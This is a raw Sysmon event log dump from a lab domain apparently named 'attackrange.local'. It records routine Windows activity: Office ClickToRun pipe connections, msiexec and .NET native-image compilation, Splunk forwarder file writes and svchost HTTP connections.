AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91803E340A7E7AFDF95A8031F6EF3F3E,SHA256=DCFD99FE08A5D46C52E810FE2F9CC15AC82008975C0A731A11773B11ADE0F3CC,IMPHASH=51FFA3B7FBD1EF82ECE0730B54406E64{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\Integration\Integrator.exeintegrator.exe /I /Extension /Msi MsiName=C2RInt.16.msi,C2RIntLoc.en-us.16.msi,* PackageGUID="9AC08E99-230B-47e8-9721-4577B7F124EA" PackageRoot="C:\Program Files\Microsoft Office\root" 23542300x800000000000000042015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.992{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\wordEtw.manMD5=2AF25359E1196EC248A1AD62C3E63984,SHA256=8D713B5A5D7415BCE12EC2C4F419A951FF8785AD6057B9A0C646841C530DC47A,IMPHASH=00000000000000000000000000000000falsefalse - rename failed with status 0xc0000022 23542300x800000000000000013814Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:11.005{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=85811E3F9690D30A77022EEB4B1B4C92,SHA256=BCF4D1BC69825AAD7FBBC407ECFDB93119A3416B43FEA1DD98A7E6D1CBA653C0,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000042241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.977{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:12.961{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3C-613B-D508-00000000F001}6608C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000042239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.961{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:12.945{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3C-613B-D508-00000000F001}6608C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:12.945{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3C-613B-D508-00000000F001}6608C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000042236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:12.898{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:12.898{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000042234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.898{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.898{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:12.898{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000042231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.898{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.898{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:12.898{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000042228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.898{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.898{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:12.898{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3C-613B-D408-00000000F001}6968C:\Windows\syswow64\MsiExec.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 18141800x800000000000000042225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.898{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.898{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.898{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:12.883{7BD73061-6E8E-613B-1107-00000000F001}41165720C:\Windows\system32\msiexec.exe{7BD73061-6F3C-613B-D408-00000000F001}6968C:\Windows\syswow64\MsiExec.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\ADVAPI32.dll+188af|C:\Windows\system32\Msi.dll+ba6f5|C:\Windows\system32\Msi.dll+16c8f4|C:\Windows\system32\Msi.dll+16cf6c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000042221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:12.897{7BD73061-6F3C-613B-D408-00000000F001}6968C:\Windows\SysWOW64\msiexec.exe5.0.14393.2430 (rs1_release_inmarket_aim.180806-1810)Windows® installerWindows Installer - UnicodeMicrosoft Corporationmsiexec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 4C5D3D8594F10D97AAA0D3836A7B09AA E Global\MSI0000C:\Windows\SysWOW64\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=0BDEAEA7BB4AE7822416CD37EA8EE00D,SHA256=5C188CE4E21FAB002B4D669F91FA19341AB4260F83D798FDAC53229D675DB6BA,IMPHASH=B4730776DFCE61DBCD10D002E3D530E1{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\System32\msiexec.exeC:\Windows\system32\msiexec.exe /V 23542300x800000000000000042220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:12.883{7BD73061-6F3B-613B-D308-00000000F001}2180NT AUTHORITY\SYSTEMC:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\temp\7L2JE6QUY9\Microsoft.VisualBasic.Compatibility.ni.dll.auxMD5=8FB88385860BFCCA59F9B23D83D4F8ED,SHA256=B4E93B32739220DC78CC1185F9FDCAEF4AB81A02DB722452A20E8ED3CC9BD89C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:12.883{7BD73061-6F3B-613B-D308-00000000F001}2180NT AUTHORITY\SYSTEMC:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\temp\7L2JE6QUY9\Microsoft.VisualBasic.Compatibility.ni.dllMD5=586A8AD03A5222DAAED35AD26F362B94,SHA256=23FA7A649E959C5DE8FB648ADA775A4485D69DC9C85D8FBDE9C641F21CEB319D,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000042218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:12.852{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=122F57A7255132748DEF71EB7CA3A900,SHA256=191AD779B9E918234AB4F07BB4AE282B16DA5D0D0B3DC0A8DB57E3B7264AF0FD,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000042217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:12.836{7BD73061-6F3B-613B-D308-00000000F001}2180C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_32\Temp\884-0\Microsoft.VisualBasic.Compatibility.dll2021-09-10 14:44:12.836 18141800x800000000000000042216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.820{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.820{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.820{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.758{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.711{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.695{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 354300x800000000000000042210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.403{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59225-false23.203.80.193a23-203-80-193.deploy.static.akamaitechnologies.com80http 354300x800000000000000042209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.308{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59224-false52.188.50.245-80http 354300x800000000000000042208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.201{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59223-false23.203.80.193a23-203-80-193.deploy.static.akamaitechnologies.com80http 18141800x800000000000000042207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.633{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.633{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.633{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.633{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.633{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.633{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.633{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.633{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.633{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.492{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000042194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:12.445{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0B9476049D7D7FAD5D3F87983E4FF635,SHA256=C9B6FB9AED7AD0B74916F3769F021D1139FBD1325E19563BCA36ED74D173FED3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:12.445{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=010CD6EEFEFB2DC27ADCCE80A9582F58,SHA256=AD4EE8DBD76AC0DD4C13827552965F7272B5E27D3875052541FCB595CE948F48,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000042192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.445{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.430{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.367{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.367{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.367{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.367{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.367{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.367{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.367{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.367{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.367{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.289{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.289{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.289{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 